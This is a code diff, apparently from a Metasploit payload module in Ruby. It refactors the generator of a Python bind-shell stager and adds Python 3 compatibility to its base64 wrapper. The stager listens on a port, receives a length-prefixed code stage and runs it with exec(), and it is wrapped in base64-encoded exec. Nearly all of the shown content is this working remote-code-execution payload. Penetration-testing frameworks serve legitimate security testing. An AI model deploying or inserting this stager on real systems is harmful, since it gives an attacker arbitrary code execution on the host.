@@ -29,22 +29,24 @@ def initialize(info = {})
29
29
# Constructs the payload
30
30
#
31
31
def generate
32
- cmd = ''
33
32
# Set up the socket
34
- cmd + = "import socket,struct\n "
35
- cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
36
- cmd += "s.bind(('#{ datastore [ 'LHOST' ] } ',#{ datastore [ 'LPORT' ] } ))\n "
37
- cmd += "s.listen(1)\n "
38
- cmd += "c,a=s.accept()\n "
39
- cmd += "l=struct.unpack('>I',c.recv(4))[0]\n "
40
- cmd += "d=c.recv(4096)\n "
41
- cmd += "while len(d)!=l:\n "
42
- cmd += "\t d+=c.recv(4096)\n "
43
- cmd += "exec(d,{'s':c})\n "
33
+ cmd = "import socket,struct\n "
34
+ cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
35
+ cmd << "s.bind(('#{ datastore [ 'LHOST' ] } ',#{ datastore [ 'LPORT' ] } ))\n "
36
+ cmd << "s.listen(1)\n "
37
+ cmd << "c,a=s.accept()\n "
38
+ cmd << "l=struct.unpack('>I',c.recv(4))[0]\n "
39
+ cmd << "d=c.recv(4096)\n "
40
+ cmd << "while len(d)!=l:\n "
41
+ cmd << "\t d+=c.recv(4096)\n "
42
+ cmd << "exec(d,{'s':c})\n "
44
43
45
44
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
46
- cmd = "import base64; exec(base64.b64decode('#{ Rex ::Text . encode_base64 ( cmd ) } '))"
47
- return cmd
45
+ b64_stub = "import base64,sys; exec(base64.b64decode("
46
+ b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
47
+ b64_stub << Rex ::Text . encode_base64 ( cmd )
48
+ b64_stub << "')))"
49
+ return b64_stub
48
50
end
49
51
50
52
def handle_intermediate_stage ( conn , payload )
0 commit comments